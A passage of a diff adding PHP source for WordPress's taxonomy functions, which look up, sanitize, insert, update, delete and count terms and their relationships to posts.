$terms ); + + $_terms = array(); + if ( 'ids' == $fields ) { + while ( $term = array_shift($terms) ) + $_terms[] = $term->term_id; + $terms = $_terms; + } elseif ( 'names' == $fields ) { + while ( $term = array_shift($terms) ) + $_terms[] = $term->name; + $terms = $_terms; + } + + if ( 0 < $number && intval(@count($terms)) > $number ) { + $terms = array_slice($terms, $offset, $number); + } + + wp_cache_add( $cache_key, $terms, 'terms' ); + + $terms = apply_filters('get_terms', $terms, $taxonomies, $args); + return $terms; +} + +/** + * Check if Term exists. + * + * Returns the index of a defined term, or 0 (false) if the term doesn't exist. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * + * @param int|string $term The term to check + * @param string $taxonomy The taxonomy name to use + * @param int $parent ID of parent term under which to confine the exists search. + * @return mixed Get the term id or Term Object, if exists. + */ +function is_term($term, $taxonomy = '', $parent = 0) { + global $wpdb; + + $select = "SELECT term_id FROM $wpdb->terms as t WHERE "; + $tax_select = "SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE "; + + if ( is_int($term) ) { + if ( 0 == $term ) + return 0; + $where = 't.term_id = %d'; + if ( !empty($taxonomy) ) + return $wpdb->get_row( $wpdb->prepare( $tax_select . $where . " AND tt.taxonomy = %s", $term, $taxonomy ), ARRAY_A ); + else + return $wpdb->get_var( $wpdb->prepare( $select . $where, $term ) ); + } + + $term = trim( stripslashes( $term ) ); + + if ( '' === $slug = sanitize_title($term) ) + return 0; + + $where = 't.slug = %s'; + $else_where = 't.name = %s'; + $where_fields = array($slug); + $else_where_fields = array($term); + if ( !empty($taxonomy) ) { + $parent = (int) $parent; + if ( $parent > 0 ) { + $where_fields[] = $parent; + $else_where_fields[] = $parent; + $where .= ' AND tt.parent = %d'; + $else_where .= ' AND tt.parent = %d'; + } + + $where_fields[] = $taxonomy; + $else_where_fields[] = $taxonomy; + + if ( $result = $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $where AND tt.taxonomy = %s", $where_fields), ARRAY_A) ) + return $result; + + return $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $else_where AND tt.taxonomy = %s", $else_where_fields), ARRAY_A); + } + + if ( $result = $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $where", $where_fields) ) ) + return $result; + + return $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $else_where", $else_where_fields) ); +} + +/** + * Sanitize Term all fields. + * + * Relys on sanitize_term_field() to sanitize the term. The difference is that + * this function will sanitize all fields. The context is based + * on sanitize_term_field(). + * + * The $term is expected to be either an array or an object. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses sanitize_term_field Used to sanitize all fields in a term + * + * @param array|object $term The term to check + * @param string $taxonomy The taxonomy name to use + * @param string $context Default is 'display'. + * @return array|object Term with all fields sanitized + */ +function sanitize_term($term, $taxonomy, $context = 'display') { + + if ( 'raw' == $context ) + return $term; + + $fields = array('term_id', 'name', 'description', 'slug', 'count', 'parent', 'term_group'); + + $do_object = false; + if ( is_object($term) ) + $do_object = true; + + $term_id = $do_object ? $term->term_id : (isset($term['term_id']) ? $term['term_id'] : 0); + + foreach ( (array) $fields as $field ) { + if ( $do_object ) { + if ( isset($term->$field) ) + $term->$field = sanitize_term_field($field, $term->$field, $term_id, $taxonomy, $context); + } else { + if ( isset($term[$field]) ) + $term[$field] = sanitize_term_field($field, $term[$field], $term_id, $taxonomy, $context); + } + } + + if ( $do_object ) + $term->filter = $context; + else + $term['filter'] = $context; + + return $term; +} + +/** + * Cleanse the field value in the term based on the context. + * + * Passing a term field value through the function should be assumed to have + * cleansed the value for whatever context the term field is going to be used. + * + * If no context or an unsupported context is given, then default filters will + * be applied. + * + * There are enough filters for each context to support a custom filtering + * without creating your own filter function. Simply create a function that + * hooks into the filter you need. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * + * @param string $field Term field to sanitize + * @param string $value Search for this term value + * @param int $term_id Term ID + * @param string $taxonomy Taxonomy Name + * @param string $context Either edit, db, display, attribute, or js. + * @return mixed sanitized field + */ +function sanitize_term_field($field, $value, $term_id, $taxonomy, $context) { + if ( 'parent' == $field || 'term_id' == $field || 'count' == $field || 'term_group' == $field ) { + $value = (int) $value; + if ( $value < 0 ) + $value = 0; + } + + if ( 'raw' == $context ) + return $value; + + if ( 'edit' == $context ) { + $value = apply_filters("edit_term_$field", $value, $term_id, $taxonomy); + $value = apply_filters("edit_${taxonomy}_$field", $value, $term_id); + if ( 'description' == $field ) + $value = format_to_edit($value); + else + $value = esc_attr($value); + } else if ( 'db' == $context ) { + $value = apply_filters("pre_term_$field", $value, $taxonomy); + $value = apply_filters("pre_${taxonomy}_$field", $value); + // Back compat filters + if ( 'slug' == $field ) + $value = apply_filters('pre_category_nicename', $value); + + } else if ( 'rss' == $context ) { + $value = apply_filters("term_${field}_rss", $value, $taxonomy); + $value = apply_filters("${taxonomy}_${field}_rss", $value); + } else { + // Use display filters by default. + $value = apply_filters("term_$field", $value, $term_id, $taxonomy, $context); + $value = apply_filters("${taxonomy}_$field", $value, $term_id, $context); + } + + if ( 'attribute' == $context ) + $value = esc_attr($value); + else if ( 'js' == $context ) + $value = esc_js($value); + + return $value; +} + +/** + * Count how many terms are in Taxonomy. + * + * Default $args is 'ignore_empty' which can be 'ignore_empty=true' + * or array('ignore_empty' => true);. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * @uses wp_parse_args() Turns strings into arrays and merges defaults into an array. + * + * @param string $taxonomy Taxonomy name + * @param array|string $args Overwrite defaults + * @return int How many terms are in $taxonomy + */ +function wp_count_terms( $taxonomy, $args = array() ) { + global $wpdb; + + $defaults = array('ignore_empty' => false); + $args = wp_parse_args($args, $defaults); + extract($args, EXTR_SKIP); + + $where = ''; + if ( $ignore_empty ) + $where = 'AND count > 0'; + + return $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE taxonomy = %s $where", $taxonomy) ); +} + +/** + * Will unlink the term from the taxonomy. + * + * Will remove the term's relationship to the taxonomy, not the term or taxonomy + * itself. The term and taxonomy will still exist. Will require the term's + * object ID to perform the operation. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses $wpdb + * + * @param int $object_id The term Object Id that refers to the term + * @param string|array $taxonomy List of Taxonomy Names or single Taxonomy name. + */ +function wp_delete_object_term_relationships( $object_id, $taxonomies ) { + global $wpdb; + + $object_id = (int) $object_id; + + if ( !is_array($taxonomies) ) + $taxonomies = array($taxonomies); + + foreach ( (array) $taxonomies as $taxonomy ) { + $tt_ids = wp_get_object_terms($object_id, $taxonomy, 'fields=tt_ids'); + $in_tt_ids = "'" . implode("', '", $tt_ids) . "'"; + do_action( 'delete_term_relationships', $object_id, $tt_ids ); + $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_tt_ids)", $object_id) ); + do_action( 'deleted_term_relationships', $object_id, $tt_ids ); + wp_update_term_count($tt_ids, $taxonomy); + } +} + +/** + * Removes a term from the database. + * + * If the term is a parent of other terms, then the children will be updated to + * that term's parent. + * + * The $args 'default' will only override the terms found, if there is only one + * term found. Any other and the found terms are used. + * + * The $args 'force_default' will force the term supplied as default to be + * assigned even if the object was not going to be termless + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * @uses do_action() Calls both 'delete_term' and 'delete_$taxonomy' action + * hooks, passing term object, term id. 'delete_term' gets an additional + * parameter with the $taxonomy parameter. + * + * @param int $term Term ID + * @param string $taxonomy Taxonomy Name + * @param array|string $args Optional. Change 'default' term id and override found term ids. + * @return bool|WP_Error Returns false if not term; true if completes delete action. + */ +function wp_delete_term( $term, $taxonomy, $args = array() ) { + global $wpdb; + + $term = (int) $term; + + if ( ! $ids = is_term($term, $taxonomy) ) + return false; + if ( is_wp_error( $ids ) ) + return $ids; + + $tt_id = $ids['term_taxonomy_id']; + + $defaults = array(); + $args = wp_parse_args($args, $defaults); + extract($args, EXTR_SKIP); + + if ( isset($default) ) { + $default = (int) $default; + if ( ! is_term($default, $taxonomy) ) + unset($default); + } + + // Update children to point to new parent + if ( is_taxonomy_hierarchical($taxonomy) ) { + $term_obj = get_term($term, $taxonomy); + if ( is_wp_error( $term_obj ) ) + return $term_obj; + $parent = $term_obj->parent; + + $edit_tt_ids = $wpdb->get_col( "SELECT `term_taxonomy_id` FROM $wpdb->term_taxonomy WHERE `parent` = " . (int)$term_obj->term_id ); + do_action( 'edit_term_taxonomies', $edit_tt_ids ); + $wpdb->update( $wpdb->term_taxonomy, compact( 'parent' ), array( 'parent' => $term_obj->term_id) + compact( 'taxonomy' ) ); + do_action( 'edited_term_taxonomies', $edit_tt_ids ); + } + + $objects = $wpdb->get_col( $wpdb->prepare( "SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tt_id ) ); + + foreach ( (array) $objects as $object ) { + $terms = wp_get_object_terms($object, $taxonomy, array('fields' => 'ids', 'orderby' => 'none')); + if ( 1 == count($terms) && isset($default) ) { + $terms = array($default); + } else { + $terms = array_diff($terms, array($term)); + if (isset($default) && isset($force_default) && $force_default) + $terms = array_merge($terms, array($default)); + } + $terms = array_map('intval', $terms); + wp_set_object_terms($object, $terms, $taxonomy); + } + + do_action( 'delete_term_taxonomy', $tt_id ); + $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $tt_id ) ); + do_action( 'deleted_term_taxonomy', $tt_id ); + + // Delete the term if no taxonomies use it. + if ( !$wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term) ) ) + $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->terms WHERE term_id = %d", $term) ); + + clean_term_cache($term, $taxonomy); + + do_action('delete_term', $term, $tt_id, $taxonomy); + do_action("delete_$taxonomy", $term, $tt_id); + + return true; +} + +/** + * Retrieves the terms associated with the given object(s), in the supplied taxonomies. + * + * The following information has to do the $args parameter and for what can be + * contained in the string or array of that parameter, if it exists. + * + * The first argument is called, 'orderby' and has the default value of 'name'. + * The other value that is supported is 'count'. + * + * The second argument is called, 'order' and has the default value of 'ASC'. + * The only other value that will be acceptable is 'DESC'. + * + * The final argument supported is called, 'fields' and has the default value of + * 'all'. There are multiple other options that can be used instead. Supported + * values are as follows: 'all', 'ids', 'names', and finally + * 'all_with_object_id'. + * + * The fields argument also decides what will be returned. If 'all' or + * 'all_with_object_id' is choosen or the default kept intact, then all matching + * terms objects will be returned. If either 'ids' or 'names' is used, then an + * array of all matching term ids or term names will be returned respectively. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses $wpdb + * + * @param int|array $object_id The id of the object(s) to retrieve. + * @param string|array $taxonomies The taxonomies to retrieve terms from. + * @param array|string $args Change what is returned + * @return array|WP_Error The requested term data or empty array if no terms found. WP_Error if $taxonomy does not exist. + */ +function wp_get_object_terms($object_ids, $taxonomies, $args = array()) { + global $wpdb; + + if ( !is_array($taxonomies) ) + $taxonomies = array($taxonomies); + + foreach ( (array) $taxonomies as $taxonomy ) { + if ( ! is_taxonomy($taxonomy) ) + return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); + } + + if ( !is_array($object_ids) ) + $object_ids = array($object_ids); + $object_ids = array_map('intval', $object_ids); + + $defaults = array('orderby' => 'name', 'order' => 'ASC', 'fields' => 'all'); + $args = wp_parse_args( $args, $defaults ); + + $terms = array(); + if ( count($taxonomies) > 1 ) { + foreach ( $taxonomies as $index => $taxonomy ) { + $t = get_taxonomy($taxonomy); + if ( isset($t->args) && is_array($t->args) && $args != array_merge($args, $t->args) ) { + unset($taxonomies[$index]); + $terms = array_merge($terms, wp_get_object_terms($object_ids, $taxonomy, array_merge($args, $t->args))); + } + } + } else { + $t = get_taxonomy($taxonomies[0]); + if ( isset($t->args) && is_array($t->args) ) + $args = array_merge($args, $t->args); + } + + extract($args, EXTR_SKIP); + + if ( 'count' == $orderby ) + $orderby = 'tt.count'; + else if ( 'name' == $orderby ) + $orderby = 't.name'; + else if ( 'slug' == $orderby ) + $orderby = 't.slug'; + else if ( 'term_group' == $orderby ) + $orderby = 't.term_group'; + else if ( 'term_order' == $orderby ) + $orderby = 'tr.term_order'; + else if ( 'none' == $orderby ) { + $orderby = ''; + $order = ''; + } else { + $orderby = 't.term_id'; + } + + // tt_ids queries can only be none or tr.term_taxonomy_id + if ( ('tt_ids' == $fields) && !empty($orderby) ) + $orderby = 'tr.term_taxonomy_id'; + + if ( !empty($orderby) ) + $orderby = "ORDER BY $orderby"; + + $taxonomies = "'" . implode("', '", $taxonomies) . "'"; + $object_ids = implode(', ', $object_ids); + + $select_this = ''; + if ( 'all' == $fields ) + $select_this = 't.*, tt.*'; + else if ( 'ids' == $fields ) + $select_this = 't.term_id'; + else if ( 'names' == $fields ) + $select_this = 't.name'; + else if ( 'all_with_object_id' == $fields ) + $select_this = 't.*, tt.*, tr.object_id'; + + $query = "SELECT $select_this FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN $wpdb->term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tr.object_id IN ($object_ids) $orderby $order"; + + if ( 'all' == $fields || 'all_with_object_id' == $fields ) { + $terms = array_merge($terms, $wpdb->get_results($query)); + update_term_cache($terms); + } else if ( 'ids' == $fields || 'names' == $fields ) { + $terms = array_merge($terms, $wpdb->get_col($query)); + } else if ( 'tt_ids' == $fields ) { + $terms = $wpdb->get_col("SELECT tr.term_taxonomy_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tr.object_id IN ($object_ids) AND tt.taxonomy IN ($taxonomies) $orderby $order"); + } + + if ( ! $terms ) + $terms = array(); + + return apply_filters('wp_get_object_terms', $terms, $object_ids, $taxonomies, $args); +} + +/** + * Adds a new term to the database. Optionally marks it as an alias of an existing term. + * + * Error handling is assigned for the nonexistance of the $taxonomy and $term + * parameters before inserting. If both the term id and taxonomy exist + * previously, then an array will be returned that contains the term id and the + * contents of what is returned. The keys of the array are 'term_id' and + * 'term_taxonomy_id' containing numeric values. + * + * It is assumed that the term does not yet exist or the above will apply. The + * term will be first added to the term table and then related to the taxonomy + * if everything is well. If everything is correct, then several actions will be + * run prior to a filter and then several actions will be run after the filter + * is run. + * + * The arguments decide how the term is handled based on the $args parameter. + * The following is a list of the available overrides and the defaults. + * + * 'alias_of'. There is no default, but if added, expected is the slug that the + * term will be an alias of. Expected to be a string. + * + * 'description'. There is no default. If exists, will be added to the database + * along with the term. Expected to be a string. + * + * 'parent'. Expected to be numeric and default is 0 (zero). Will assign value + * of 'parent' to the term. + * + * 'slug'. Expected to be a string. There is no default. + * + * If 'slug' argument exists then the slug will be checked to see if it is not + * a valid term. If that check succeeds (it is not a valid term), then it is + * added and the term id is given. If it fails, then a check is made to whether + * the taxonomy is hierarchical and the parent argument is not empty. If the + * second check succeeds, the term will be inserted and the term id will be + * given. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses $wpdb + * + * @uses do_action() Calls 'create_term' hook with the term id and taxonomy id as parameters. + * @uses do_action() Calls 'create_$taxonomy' hook with term id and taxonomy id as parameters. + * @uses apply_filters() Calls 'term_id_filter' hook with term id and taxonomy id as parameters. + * @uses do_action() Calls 'created_term' hook with the term id and taxonomy id as parameters. + * @uses do_action() Calls 'created_$taxonomy' hook with term id and taxonomy id as parameters. + * + * @param int|string $term The term to add or update. + * @param string $taxonomy The taxonomy to which to add the term + * @param array|string $args Change the values of the inserted term + * @return array|WP_Error The Term ID and Term Taxonomy ID + */ +function wp_insert_term( $term, $taxonomy, $args = array() ) { + global $wpdb; + + if ( ! is_taxonomy($taxonomy) ) + return new WP_Error('invalid_taxonomy', __('Invalid taxonomy')); + + if ( is_int($term) && 0 == $term ) + return new WP_Error('invalid_term_id', __('Invalid term ID')); + + if ( '' == trim($term) ) + return new WP_Error('empty_term_name', __('A name is required for this term')); + + $defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => ''); + $args = wp_parse_args($args, $defaults); + $args['name'] = $term; + $args['taxonomy'] = $taxonomy; + $args = sanitize_term($args, $taxonomy, 'db'); + extract($args, EXTR_SKIP); + + // expected_slashed ($name) + $name = stripslashes($name); + $description = stripslashes($description); + + if ( empty($slug) ) + $slug = sanitize_title($name); + + $term_group = 0; + if ( $alias_of ) { + $alias = $wpdb->get_row( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $alias_of) ); + if ( $alias->term_group ) { + // The alias we want is already in a group, so let's use that one. + $term_group = $alias->term_group; + } else { + // The alias isn't in a group, so let's create a new one and firstly add the alias term to it. + $term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1; + do_action( 'edit_terms', $alias->term_id ); + $wpdb->update($wpdb->terms, compact('term_group'), array('term_id' => $alias->term_id) ); + do_action( 'edited_terms', $alias->term_id ); + } + } + + if ( ! $term_id = is_term($slug) ) { + if ( false === $wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) ) ) + return new WP_Error('db_insert_error', __('Could not insert term into the database'), $wpdb->last_error); + $term_id = (int) $wpdb->insert_id; + } else if ( is_taxonomy_hierarchical($taxonomy) && !empty($parent) ) { + // If the taxonomy supports hierarchy and the term has a parent, make the slug unique + // by incorporating parent slugs. + $slug = wp_unique_term_slug($slug, (object) $args); + if ( false === $wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) ) ) + return new WP_Error('db_insert_error', __('Could not insert term into the database'), $wpdb->last_error); + $term_id = (int) $wpdb->insert_id; + } + + if ( empty($slug) ) { + $slug = sanitize_title($slug, $term_id); + do_action( 'edit_terms', $term_id ); + $wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) ); + do_action( 'edited_terms', $term_id ); + } + + $tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) ); + + if ( !empty($tt_id) ) + return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id); + + $wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent') + array( 'count' => 0 ) ); + $tt_id = (int) $wpdb->insert_id; + + do_action("create_term", $term_id, $tt_id, $taxonomy); + do_action("create_$taxonomy", $term_id, $tt_id); + + $term_id = apply_filters('term_id_filter', $term_id, $tt_id); + + clean_term_cache($term_id, $taxonomy); + + do_action("created_term", $term_id, $tt_id, $taxonomy); + do_action("created_$taxonomy", $term_id, $tt_id); + + return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id); +} + +/** + * Create Term and Taxonomy Relationships. + * + * Relates an object (post, link etc) to a term and taxonomy type. Creates the + * term and taxonomy relationship if it doesn't already exist. Creates a term if + * it doesn't exist (using the slug). + * + * A relationship means that the term is grouped in or belongs to the taxonomy. + * A term has no meaning until it is given context by defining which taxonomy it + * exists under. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses $wpdb + * + * @param int $object_id The object to relate to. + * @param array|int|string $term The slug or id of the term, will replace all existing + * related terms in this taxonomy. + * @param array|string $taxonomy The context in which to relate the term to the object. + * @param bool $append If false will delete difference of terms. + * @return array|WP_Error Affected Term IDs + */ +function wp_set_object_terms($object_id, $terms, $taxonomy, $append = false) { + global $wpdb; + + $object_id = (int) $object_id; + + if ( ! is_taxonomy($taxonomy) ) + return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); + + if ( !is_array($terms) ) + $terms = array($terms); + + if ( ! $append ) + $old_tt_ids = wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids', 'orderby' => 'none')); + + $tt_ids = array(); + $term_ids = array(); + + foreach ( (array) $terms as $term) { + if ( !strlen(trim($term)) ) + continue; + + if ( !$term_info = is_term($term, $taxonomy) ) + $term_info = wp_insert_term($term, $taxonomy); + if ( is_wp_error($term_info) ) + return $term_info; + $term_ids[] = $term_info['term_id']; + $tt_id = $term_info['term_taxonomy_id']; + $tt_ids[] = $tt_id; + + if ( $wpdb->get_var( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $tt_id ) ) ) + continue; + do_action( 'add_term_relationship', $object_id, $tt_id ); + $wpdb->insert( $wpdb->term_relationships, array( 'object_id' => $object_id, 'term_taxonomy_id' => $tt_id ) ); + do_action( 'added_term_relationship', $object_id, $tt_id ); + } + + wp_update_term_count($tt_ids, $taxonomy); + + if ( ! $append ) { + $delete_terms = array_diff($old_tt_ids, $tt_ids); + if ( $delete_terms ) { + $in_delete_terms = "'" . implode("', '", $delete_terms) . "'"; + do_action( 'delete_term_relationships', $object_id, $delete_terms ); + $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_delete_terms)", $object_id) ); + do_action( 'deleted_term_relationships', $object_id, $delete_terms ); + wp_update_term_count($delete_terms, $taxonomy); + } + } + + $t = get_taxonomy($taxonomy); + if ( ! $append && isset($t->sort) && $t->sort ) { + $values = array(); + $term_order = 0; + $final_tt_ids = wp_get_object_terms($object_id, $taxonomy, 'fields=tt_ids'); + foreach ( $tt_ids as $tt_id ) + if ( in_array($tt_id, $final_tt_ids) ) + $values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $tt_id, ++$term_order); + if ( $values ) + $wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); + } + + do_action('set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids); + return $tt_ids; +} + +/** + * Will make slug unique, if it isn't already. + * + * The $slug has to be unique global to every taxonomy, meaning that one + * taxonomy term can't have a matching slug with another taxonomy term. Each + * slug has to be globally unique for every taxonomy. + * + * The way this works is that if the taxonomy that the term belongs to is + * heirarchical and has a parent, it will append that parent to the $slug. + * + * If that still doesn't return an unique slug, then it try to append a number + * until it finds a number that is truely unique. + * + * The only purpose for $term is for appending a parent, if one exists. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses $wpdb + * + * @param string $slug The string that will be tried for a unique slug + * @param object $term The term object that the $slug will belong too + * @return string Will return a true unique slug. + */ +function wp_unique_term_slug($slug, $term) { + global $wpdb; + + // If the taxonomy supports hierarchy and the term has a parent, make the slug unique + // by incorporating parent slugs. + if ( is_taxonomy_hierarchical($term->taxonomy) && !empty($term->parent) ) { + $the_parent = $term->parent; + while ( ! empty($the_parent) ) { + $parent_term = get_term($the_parent, $term->taxonomy); + if ( is_wp_error($parent_term) || empty($parent_term) ) + break; + $slug .= '-' . $parent_term->slug; + if ( empty($parent_term->parent) ) + break; + $the_parent = $parent_term->parent; + } + } + + // If we didn't get a unique slug, try appending a number to make it unique. + if ( !empty($args['term_id']) ) + $query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s AND term_id != %d", $slug, $args['term_id'] ); + else + $query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $slug ); + + if ( $wpdb->get_var( $query ) ) { + $num = 2; + do { + $alt_slug = $slug . "-$num"; + $num++; + $slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) ); + } while ( $slug_check ); + $slug = $alt_slug; + } + + return $slug; +} + +/** + * Update term based on arguments provided. + * + * The $args will indiscriminately override all values with the same field name. + * Care must be taken to not override important information need to update or + * update will fail (or perhaps create a new term, neither would be acceptable). + * + * Defaults will set 'alias_of', 'description', 'parent', and 'slug' if not + * defined in $args already. + * + * 'alias_of' will create a term group, if it doesn't already exist, and update + * it for the $term. + * + * If the 'slug' argument in $args is missing, then the 'name' in $args will be + * used. It should also be noted that if you set 'slug' and it isn't unique then + * a WP_Error will be passed back. If you don't pass any slug, then a unique one + * will be created for you. + * + * For what can be overrode in $args, check the term scheme can contain and stay + * away from the term keys. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * @uses do_action() Will call both 'edit_term' and 'edit_$taxonomy' twice. + * @uses apply_filters() Will call the 'term_id_filter' filter and pass the term + * id and taxonomy id. + * + * @param int $term_id The ID of the term + * @param string $taxonomy The context in which to relate the term to the object. + * @param array|string $args Overwrite term field values + * @return array|WP_Error Returns Term ID and Taxonomy Term ID + */ +function wp_update_term( $term_id, $taxonomy, $args = array() ) { + global $wpdb; + + if ( ! is_taxonomy($taxonomy) ) + return new WP_Error('invalid_taxonomy', __('Invalid taxonomy')); + + $term_id = (int) $term_id; + + // First, get all of the original args + $term = get_term ($term_id, $taxonomy, ARRAY_A); + + if ( is_wp_error( $term ) ) + return $term; + + // Escape data pulled from DB. + $term = add_magic_quotes($term); + + // Merge old and new args with new args overwriting old ones. + $args = array_merge($term, $args); + + $defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => ''); + $args = wp_parse_args($args, $defaults); + $args = sanitize_term($args, $taxonomy, 'db'); + extract($args, EXTR_SKIP); + + // expected_slashed ($name) + $name = stripslashes($name); + $description = stripslashes($description); + + if ( '' == trim($name) ) + return new WP_Error('empty_term_name', __('A name is required for this term')); + + $empty_slug = false; + if ( empty($slug) ) { + $empty_slug = true; + $slug = sanitize_title($name); + } + + if ( $alias_of ) { + $alias = $wpdb->get_row( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $alias_of) ); + if ( $alias->term_group ) { + // The alias we want is already in a group, so let's use that one. + $term_group = $alias->term_group; + } else { + // The alias isn't in a group, so let's create a new one and firstly add the alias term to it. + $term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1; + do_action( 'edit_terms', $alias->term_id ); + $wpdb->update( $wpdb->terms, compact('term_group'), array( 'term_id' => $alias->term_id ) ); + do_action( 'edited_terms', $alias->term_id ); + } + } + + // Check for duplicate slug + $id = $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->terms WHERE slug = %s", $slug ) ); + if ( $id && ($id != $term_id) ) { + // If an empty slug was passed or the parent changed, reset the slug to something unique. + // Otherwise, bail. + if ( $empty_slug || ( $parent != $term->parent) ) + $slug = wp_unique_term_slug($slug, (object) $args); + else + return new WP_Error('duplicate_term_slug', sprintf(__('The slug “%s” is already in use by another term'), $slug)); + } + do_action( 'edit_terms', $term_id ); + $wpdb->update($wpdb->terms, compact( 'name', 'slug', 'term_group' ), compact( 'term_id' ) ); + if ( empty($slug) ) { + $slug = sanitize_title($name, $term_id); + $wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) ); + } + do_action( 'edited_terms', $term_id ); + + $tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id) ); + do_action( 'edit_term_taxonomy', $tt_id ); + $wpdb->update( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ), array( 'term_taxonomy_id' => $tt_id ) ); + do_action( 'edited_term_taxonomy', $tt_id ); + + do_action("edit_term", $term_id, $tt_id, $taxonomy); + do_action("edit_$taxonomy", $term_id, $tt_id); + + $term_id = apply_filters('term_id_filter', $term_id, $tt_id); + + clean_term_cache($term_id, $taxonomy); + + do_action("edited_term", $term_id, $tt_id, $taxonomy); + do_action("edited_$taxonomy", $term_id, $tt_id); + + return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id); +} + +/** + * Enable or disable term counting. + * + * @since 2.5.0 + * + * @param bool $defer Optional. Enable if true, disable if false. + * @return bool Whether term counting is enabled or disabled. + */ +function wp_defer_term_counting($defer=null) { + static $_defer = false; + + if ( is_bool($defer) ) { + $_defer = $defer; + // flush any deferred counts + if ( !$defer ) + wp_update_term_count( null, null, true ); + } + + return $_defer; +} + +/** + * Updates the amount of terms in taxonomy. + * + * If there is a taxonomy callback applyed, then it will be called for updating + * the count. + * + * The default action is to count what the amount of terms have the relationship + * of term ID. Once that is done, then update the database. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses $wpdb + * + * @param int|array $terms The term_taxonomy_id of the terms + * @param string $taxonomy The context of the term. + * @return bool If no terms will return false, and if successful will return true. + */ +function wp_update_term_count( $terms, $taxonomy, $do_deferred=false ) { + static $_deferred = array(); + + if ( $do_deferred ) { + foreach ( (array) array_keys($_deferred) as $tax ) { + wp_update_term_count_now( $_deferred[$tax], $tax ); + unset( $_deferred[$tax] ); + } + } + + if ( empty($terms) ) + return false; + + if ( !is_array($terms) ) + $terms = array($terms); + + if ( wp_defer_term_counting() 